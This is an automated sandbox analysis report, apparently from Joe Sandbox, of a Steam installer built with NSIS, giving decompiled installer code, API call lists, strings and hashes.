Execution Graph

Execution Coverage:	27.9%
Dynamic/Decrypted Code Coverage:	3.9%
Signature Coverage:	22.9%
Total number of Nodes:	1400
Total number of Limit Nodes:	47

Executed Functions

Function 004033B6 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			_entry_() {
				intOrPtr _t54;
				WCHAR* _t58;
				char* _t61;
				void* _t64;
				void* _t66;
				int _t68;
				int _t69;
				int _t72;
				intOrPtr* _t73;
				int _t74;
				int _t76;
				void* _t100;
				signed int _t117;
				void* _t120;
				void* _t125;
				intOrPtr _t144;
				intOrPtr _t145;
				intOrPtr* _t146;
				int _t148;
				void* _t151;
				int _t152;
				signed int _t156;
				signed int _t161;
				signed int _t166;
				void* _t168;
				void* _t170;
				int* _t172;
				signed int _t178;
				signed int _t181;
				CHAR* _t182;
				WCHAR* _t183;
				void* _t189;
				char* _t190;
				void* _t193;
				void* _t194;
				void* _t237;

				_t168 = 0x20;
				_t148 = 0;
				 *(_t194 + 0x14) = 0;
				 *(_t194 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t194 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t146 = E00406558(0);
					if(_t146 != 0) {
						 *_t146(0xc00);
					}
				}
				_t182 = "UXTHEME";
				do {
					E004064E8(_t182); // executed
					_t182 =  &(_t182[lstrlenA(_t182) + 1]);
				} while ( *_t182 != 0);
				E00406558(9);
				_t54 = E00406558(7);
				 *0x42a244 = _t54;
				__imp__#17(_t189);
				__imp__OleInitialize(_t148); // executed
				 *0x42a2f8 = _t54;
				SHGetFileInfoW(0x4216e8, _t148, _t194 + 0x34, 0x2b4, _t148); // executed
				E0040617E(0x429240, L"NSIS Error");
				_t58 = GetCommandLineW();
				_t190 = L"\"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe\" ";
				E0040617E(_t190, _t58);
				 *0x42a240 = GetModuleHandleW(_t148);
				_t61 = _t190;
				if(L"\"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe\" " == 0x22) {
					_t61 =  &M00435002;
					_t168 = 0x22;
				}
				_t152 = CharNextW(E00405B5F(_t61, _t168));
				 *(_t194 + 0x18) = _t152;
				_t64 =  *_t152;
				if(_t64 == _t148) {
					L30:
					_t183 = L"C:\\Users\\hardz\\AppData\\Local\\Temp\\";
					GetTempPathW(0x400, _t183);
					_t66 = E00403385(_t152, 0);
					_t219 = _t66;
					if(_t66 != 0) {
						L33:
						DeleteFileW(L"1033"); // executed
						_t68 = E00402E41(_t221,  *(_t194 + 0x1c)); // executed
						 *(_t194 + 0x10) = _t68;
						if(_t68 != _t148) {
							L45:
							ExitProcess(); // executed
							__imp__OleUninitialize(); // executed
							_t233 =  *(_t194 + 0x10) - _t148;
							if( *(_t194 + 0x10) == _t148) {
								__eflags =  *0x42a2d4 - _t148;
								if( *0x42a2d4 == _t148) {
									L69:
									_t69 =  *0x42a2ec;
									__eflags = _t69 - 0xffffffff;
									if(_t69 != 0xffffffff) {
										 *(_t194 + 0x10) = _t69;
									}
									ExitProcess( *(_t194 + 0x10));
								}
								_t72 = OpenProcessToken(GetCurrentProcess(), 0x28, _t194 + 0x14);
								__eflags = _t72;
								if(_t72 != 0) {
									LookupPrivilegeValueW(_t148, L"SeShutdownPrivilege", _t194 + 0x20);
									 *(_t194 + 0x34) = 1;
									 *(_t194 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t194 + 0x28), _t148, _t194 + 0x24, _t148, _t148, _t148);
								}
								_t73 = E00406558(4);
								__eflags = _t73 - _t148;
								if(_t73 == _t148) {
									L67:
									_t74 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t74;
									if(_t74 != 0) {
										goto L69;
									}
									goto L68;
								} else {
									_t76 =  *_t73(_t148, _t148, _t148, 0x25, 0x80040002);
									__eflags = _t76;
									if(_t76 == 0) {
										L68:
										E0040140B(9);
										goto L69;
									}
									goto L67;
								}
							}
							E004058C3( *(_t194 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x42a25c == _t148) {
							L44:
							 *0x42a2ec =  *0x42a2ec | 0xffffffff;
							 *(_t194 + 0x14) = E004039C7( *0x42a2ec);
							goto L45;
						}
						_t172 = E00405B5F(_t190, _t148);
						if(_t172 < _t190) {
							L41:
							_t230 = _t172 - _t190;
							 *(_t194 + 0x10) = L"Error launching installer";
							if(_t172 < _t190) {
								_t170 = E00405846(_t233);
								lstrcatW(_t183, L"~nsu");
								if(_t170 != _t148) {
									lstrcatW(_t183, "A");
								}
								lstrcatW(_t183, L".tmp");
								_t192 = L"C:\\Users\\hardz\\AppData\\Local\\Temp";
								if(lstrcmpiW(_t183, L"C:\\Users\\hardz\\AppData\\Local\\Temp") != 0) {
									_push(_t183);
									if(_t170 == _t148) {
										E00405829();
									} else {
										E004057AC();
									}
									SetCurrentDirectoryW(_t183);
									_t237 = L"C:\\Program Files (x86)\\Steam" - _t148; // 0x43
									if(_t237 == 0) {
										E0040617E(L"C:\\Program Files (x86)\\Steam", _t192);
									}
									E0040617E(0x42b000,  *(_t194 + 0x18));
									_t153 = "A" & 0x0000ffff;
									 *0x42b800 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t193 = 0x1a;
									do {
										E004061A0(_t148, 0x420ee8, _t183, 0x420ee8,  *((intOrPtr*)( *0x42a250 + 0x120)));
										DeleteFileW(0x420ee8);
										if( *(_t194 + 0x10) != _t148 && CopyFileW(L"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe", 0x420ee8, 1) != 0) {
											E0040601F(_t153, 0x420ee8, _t148);
											E004061A0(_t148, 0x420ee8, _t183, 0x420ee8,  *((intOrPtr*)( *0x42a250 + 0x124)));
											_t100 = E0040585E(0x420ee8);
											if(_t100 != _t148) {
												CloseHandle(_t100);
												 *(_t194 + 0x10) = _t148;
											}
										}
										 *0x42b800 =  *0x42b800 + 1;
										_t193 = _t193 - 1;
									} while (_t193 != 0);
									E0040601F(_t153, _t183, _t148);
								}
								goto L45;
							}
							 *_t172 = _t148;
							_t173 =  &(_t172[2]);
							if(E00405C3A(_t230,  &(_t172[2])) == 0) {
								goto L45;
							}
							E0040617E(L"C:\\Program Files (x86)\\Steam", _t173);
							E0040617E(L"C:\\Program Files (x86)\\Steam", _t173);
							 *(_t194 + 0x10) = _t148;
							goto L44;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t156 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t117 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t161 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
						while( *_t172 != _t156 || _t172[1] != _t117) {
							_t172 = _t172;
							if(_t172 >= _t190) {
								continue;
							}
							break;
						}
						_t148 = 0;
						goto L41;
					}
					GetWindowsDirectoryW(_t183, 0x3fb);
					lstrcatW(_t183, L"\\Temp");
					_t120 = E00403385(_t152, _t219);
					_t220 = _t120;
					if(_t120 != 0) {
						goto L33;
					}
					GetTempPathW(0x3fc, _t183);
					lstrcatW(_t183, L"Low");
					SetEnvironmentVariableW(L"TEMP", _t183);
					SetEnvironmentVariableW(L"TMP", _t183);
					_t125 = E00403385(_t152, _t220);
					_t221 = _t125;
					if(_t125 == 0) {
						goto L45;
					}
					goto L33;
				} else {
					goto L8;
				}
				do {
					L8:
					_t151 = 0x20;
					if(_t64 != _t151) {
						L10:
						if( *_t152 == 0x22) {
							_t152 = _t152 + 2;
							_t151 = 0x22;
						}
						if( *_t152 != 0x2f) {
							goto L24;
						} else {
							_t152 = _t152 + 2;
							if( *_t152 == 0x53) {
								_t145 =  *((intOrPtr*)(_t152 + 2));
								if(_t145 == 0x20 || _t145 == 0) {
									 *0x42a2e0 = 1;
								}
							}
							asm("cdq");
							asm("cdq");
							_t166 = L"NCRC" & 0x0000ffff;
							asm("cdq");
							_t178 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t166;
							if( *_t152 == (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t166) &&  *((intOrPtr*)(_t152 + 4)) == _t178) {
								_t144 =  *((intOrPtr*)(_t152 + 8));
								if(_t144 == 0x20 || _t144 == 0) {
									 *(_t194 + 0x1c) =  *(_t194 + 0x1c) | 0x00000004;
								}
							}
							asm("cdq");
							asm("cdq");
							_t161 = L" /D=" & 0x0000ffff;
							asm("cdq");
							_t181 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t161;
							if( *(_t152 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t161) ||  *_t152 != _t181) {
								goto L24;
							} else {
								 *(_t152 - 4) =  *(_t152 - 4) & 0x00000000;
								__eflags = _t152;
								E0040617E(L"C:\\Program Files (x86)\\Steam", _t152);
								L29:
								_t148 = 0;
								goto L30;
							}
						}
					} else {
						goto L9;
					}
					do {
						L9:
						_t152 = _t152 + 2;
					} while ( *_t152 == _t151);
					goto L10;
					L24:
					_t152 = E00405B5F(_t152, _t151);
					if( *_t152 == 0x22) {
						_t152 = _t152 + 2;
					}
					_t64 =  *_t152;
				} while (_t64 != 0);
				goto L29;
			}

0x004033c1
0x004033c2
0x004033c9
0x004033cd
0x004033d5
0x004033d9
0x004033e9
0x004033ec
0x004033f3
0x004033fa
0x004033fa
0x004033f3
0x004033fc
0x00403401
0x00403402
0x0040340e
0x00403412
0x0040341a
0x00403421
0x00403426
0x0040342b
0x00403432
0x00403438
0x0040344e
0x0040345e
0x00403463
0x00403469
0x00403470
0x00403484
0x00403489
0x0040348b
0x0040348f
0x00403494
0x00403494
0x004034a3
0x004034a5
0x004034a9
0x004034af
0x004035c6
0x004035cc
0x004035d7
0x004035d9
0x004035de
0x004035e0
0x00403638
0x0040363d
0x00403647
0x0040364e
0x00403652
0x00403703
0x00403703
0x00403708
0x0040370e
0x00403713
0x00403839
0x0040383f
0x004038bd
0x004038bd
0x004038c2
0x004038c5
0x004038c7
0x004038c7
0x004038cf
0x004038cf
0x0040384f
0x00403855
0x00403857
0x00403864
0x00403877
0x0040387f
0x00403887
0x00403887
0x0040388f
0x00403894
0x0040389b
0x004038a9
0x004038ac
0x004038b2
0x004038b4
0x00000000
0x00000000
0x00000000
0x0040389d
0x004038a3
0x004038a5
0x004038a7
0x004038b6
0x004038b8
0x00000000
0x004038b8
0x00000000
0x004038a7
0x0040389b
0x00403722
0x00403729
0x00403729
0x0040365e
0x004036f3
0x004036f3
0x004036ff
0x00000000
0x004036ff
0x0040366b
0x0040366f
0x004036bd
0x004036bd
0x004036bf
0x004036c7
0x0040373a
0x0040373c
0x00403743
0x0040374b
0x0040374b
0x00403756
0x0040375b
0x0040376a
0x0040376e
0x0040376f
0x00403778
0x00403771
0x00403771
0x00403771
0x0040377e
0x00403784
0x0040378b
0x00403793
0x00403793
0x004037a1
0x004037ad
0x004037bb
0x004037c0
0x004037c6
0x004037d2
0x004037d8
0x004037e2
0x004037f8
0x00403809
0x0040380f
0x00403816
0x00403819
0x0040381f
0x0040381f
0x00403816
0x00403823
0x0040382a
0x0040382a
0x0040382f
0x0040382f
0x00000000
0x0040376a
0x004036c9
0x004036cc
0x004036d7
0x00000000
0x00000000
0x004036df
0x004036ea
0x004036ef
0x00000000
0x004036ef
0x00403678
0x00403690
0x004036a1
0x004036a2
0x004036a6
0x004036a8
0x004036b6
0x004036b9
0x00000000
0x00000000
0x00000000
0x004036b9
0x004036bb
0x00000000
0x004036bb
0x004035e8
0x004035f4
0x004035f9
0x004035fe
0x00403600
0x00000000
0x00000000
0x00403608
0x00403610
0x00403621
0x00403629
0x0040362b
0x00403630
0x00403632
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004034b5
0x004034b5
0x004034b7
0x004034bb
0x004034c4
0x004034c8
0x004034cd
0x004034ce
0x004034ce
0x004034d3
0x00000000
0x004034d9
0x004034da
0x004034df
0x004034e1
0x004034e9
0x004034f0
0x004034f0
0x004034e9
0x00403501
0x00403514
0x00403515
0x0040352a
0x0040352f
0x00403533
0x0040353c
0x00403544
0x0040354b
0x0040354b
0x00403544
0x00403557
0x0040356a
0x0040356b
0x00403580
0x00403586
0x0040358a
0x00000000
0x004035b1
0x004035b1
0x004035b6
0x004035bf
0x004035c4
0x004035c4
0x00000000
0x004035c4
0x0040358a
0x00000000
0x00000000
0x00000000
0x004034bd
0x004034bd
0x004034be
0x004034bf
0x00000000
0x00403592
0x00403599
0x0040359f
0x004035a2
0x004035a2
0x004035a3
0x004035a6
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 004033D9
GetVersion.KERNEL32 ref: 004033DF
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403408
#17.COMCTL32(00000007,00000009), ref: 0040342B
OleInitialize.OLE32(00000000), ref: 00403432
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 0040344E
GetCommandLineW.KERNEL32(00429240,NSIS Error), ref: 00403463
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00000000), ref: 00403476
CharNextW.USER32(00000000,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00000020), ref: 0040349D

Part of subcall function 00406558: GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
Part of subcall function 00406558: GetProcAddress.KERNEL32(00000000,?), ref: 00406585

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004035D7
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004035E8
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004035F4
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403608
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403610
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403621
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403629
DeleteFileW.KERNELBASE(1033), ref: 0040363D

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

ExitProcess.KERNEL32(?), ref: 00403703
OleUninitialize.OLE32(?), ref: 00403708
ExitProcess.KERNEL32 ref: 00403729
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 0040373C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 0040374B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403756
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00000000,?), ref: 00403762
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040377E
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?), ref: 004037D8
CopyFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\SteamSetup.exe,00420EE8,00000001), ref: 004037EC
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000), ref: 00403819
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403848
OpenProcessToken.ADVAPI32(00000000), ref: 0040384F
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403864
AdjustTokenPrivileges.ADVAPI32 ref: 00403887
ExitWindowsEx.USER32 ref: 004038AC
ExitProcess.KERNEL32 ref: 004038CF

Strings

1033, xrefs: 00403638
Error launching installer, xrefs: 004036BF
C:\Program Files (x86)\Steam, xrefs: 004036E5
.tmp, xrefs: 00403750
NSIS Error, xrefs: 00403454
TEMP, xrefs: 0040361C
TMP, xrefs: 00403624
SeShutdownPrivilege, xrefs: 0040385E
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 00403469, 0040346F, 00403665
Low, xrefs: 0040360A
C:\Users\user\AppData\Local\Temp\SteamSetup.exe, xrefs: 004037E7
C:\Users\user\AppData\Local\Temp\, xrefs: 004035CC, 004035D1, 004035E7, 004035F3, 00403602, 0040360F, 0040361B, 00403623, 00403739, 0040374A, 00403755, 00403761, 0040376E, 0040377D, 0040382E
C:\Users\user\AppData\Local\Temp, xrefs: 0040375B, 00403760, 0040378D
\Temp, xrefs: 004035EE
~nsu, xrefs: 00403734
C:\Program Files (x86)\Steam, xrefs: 004035BA, 004036DA, 00403784, 0040378E
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033CD
UXTHEME, xrefs: 004033FC, 00403401, 00403407

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Handle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $.tmp$1033$C:\Program Files (x86)\Steam$C:\Program Files (x86)\Steam$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\SteamSetup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 354199918-1954507788
Opcode ID: e8a7877e60441a61d01466cbee3218a59cd968db92503058061a8fd593dce739
Instruction ID: be8551fa6605ebbbfda7487142ffb020be8bd547a3943651712312bea09c5587
Opcode Fuzzy Hash: e8a7877e60441a61d01466cbee3218a59cd968db92503058061a8fd593dce739
Instruction Fuzzy Hash: AED10571200300ABE7207F659D49A2B3AEDEB4074AF50443FF881B62D2DB7C8956876E

Uniqueness

Uniqueness Score: -1.00%

Function 0040541C Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0040541C(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429224;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E004053B0, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						FindCloseChangeNotification(_t127); // executed
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004061A0(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423728;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x42920c == _t156) {
							ShowWindow( *0x42a248, 8); // executed
							if( *0x42a2cc == _t156) {
								_t119 =  *0x422700; // 0x58930c
								E004052DD( *((intOrPtr*)(_t119 + 0x34)), _t156); // executed
							}
							E0040421B(_t171);
							goto L25;
						}
						 *0x421ef8 = 2;
						E0040421B(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E004042A9(_a8, _a12, _a16);
						}
						ShowWindow( *0x429210, _t156);
						ShowWindow(_t169, 8);
						E00404277(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a250;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x429210 = GetDlgItem(_a4, 0x403);
				 *0x429208 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429224 = _t134;
				_v8 = _t134;
				E00404277( *0x429210);
				 *0x429214 = E00404B7A(4);
				 *0x42922c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404242(_a4);
				if(( *0x42a258 & 0x00000003) != 0) {
					ShowWindow( *0x429210, _t156);
					if(( *0x42a258 & 0x00000002) != 0) {
						 *0x429210 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E00404277( *0x429208);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a258 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405424
0x0040542a
0x00405434
0x00405437
0x004055cd
0x004055ea
0x004055f1
0x004055f1
0x00405604
0x00405622
0x00405624
0x0040562c
0x00405682
0x00405686
0x00000000
0x00000000
0x00405688
0x0040568e
0x00000000
0x00000000
0x00405698
0x004056a0
0x004056a3
0x004057a5
0x00000000
0x004057a5
0x004056b2
0x004056bd
0x004056c6
0x004056d1
0x004056d4
0x004056dd
0x004056e3
0x004056e6
0x004056e6
0x004056fe
0x00405707
0x0040570a
0x00405711
0x00405718
0x00405720
0x00405720
0x00405737
0x00405737
0x0040573e
0x00405744
0x00405750
0x00405757
0x00405760
0x00405762
0x00405765
0x00405774
0x00405777
0x0040577d
0x0040577e
0x00405784
0x00405785
0x00405786
0x0040578e
0x00405799
0x0040579f
0x0040579f
0x00000000
0x004056fe
0x00405634
0x00405664
0x0040566c
0x0040566e
0x00405677
0x00405677
0x0040567d
0x00000000
0x0040567d
0x00405638
0x00405642
0x00000000
0x00405606
0x0040560c
0x00405647
0x00000000
0x00405650
0x00405615
0x0040561a
0x0040561d
0x00000000
0x0040561d
0x00405604
0x0040543d
0x00405441
0x00405449
0x0040544d
0x00405450
0x00405453
0x00405456
0x00405459
0x0040545a
0x0040545b
0x00405474
0x00405477
0x00405481
0x00405490
0x00405498
0x004054a0
0x004054a5
0x004054a8
0x004054b4
0x004054bd
0x004054c6
0x004054e8
0x004054ee
0x004054ff
0x00405504
0x00405512
0x00405520
0x00405520
0x00405525
0x00405533
0x00405533
0x00405538
0x0040553b
0x00405540
0x0040554c
0x00405555
0x00405562
0x00405571
0x00405564
0x00405569
0x00405569
0x0040557d
0x0040557d
0x00405591
0x0040559a
0x004055a3
0x004055b3
0x004055bf
0x004055bf
0x00000000

APIs

GetDlgItem.USER32 ref: 0040547A
GetDlgItem.USER32 ref: 00405489
GetClientRect.USER32 ref: 004054C6
GetSystemMetrics.USER32 ref: 004054CD
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054EE
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004054FF
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405512
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405520
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405533
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405555
ShowWindow.USER32(?,00000008), ref: 00405569
GetDlgItem.USER32 ref: 0040558A
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040559A
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055B3
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055BF
GetDlgItem.USER32 ref: 00405498

Part of subcall function 00404277: SendMessageW.USER32(00000028,?,00000001,004040A3), ref: 00404285

GetDlgItem.USER32 ref: 004055DC
CreateThread.KERNELBASE ref: 004055EA
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004055F1
ShowWindow.USER32(00000000), ref: 00405615
ShowWindow.USER32(?,00000008), ref: 0040561A
ShowWindow.USER32(00000008), ref: 00405664
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405698
CreatePopupMenu.USER32 ref: 004056A9
AppendMenuW.USER32 ref: 004056BD
GetWindowRect.USER32 ref: 004056DD
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040572E
OpenClipboard.USER32(00000000), ref: 0040573E
EmptyClipboard.USER32 ref: 00405744
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405750
GlobalLock.KERNEL32 ref: 0040575A
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040576E
GlobalUnlock.KERNEL32(00000000), ref: 0040578E
SetClipboardData.USER32 ref: 00405799
CloseClipboard.USER32 ref: 0040579F

Strings

{, xrefs: 00405682
(7B, xrefs: 0040570A

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendChangeClientDataEmptyFindLockMetricsNotificationOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 4154960007-525222780
Opcode ID: 2c75b19cb5c0384538948ae2e03fa29435249a004e9b7b541aa7951ba38b870f
Instruction ID: 916ab36d0f469a383f2c04aed4d67e33a9af93c646c7432e75c1414f8414c4dc
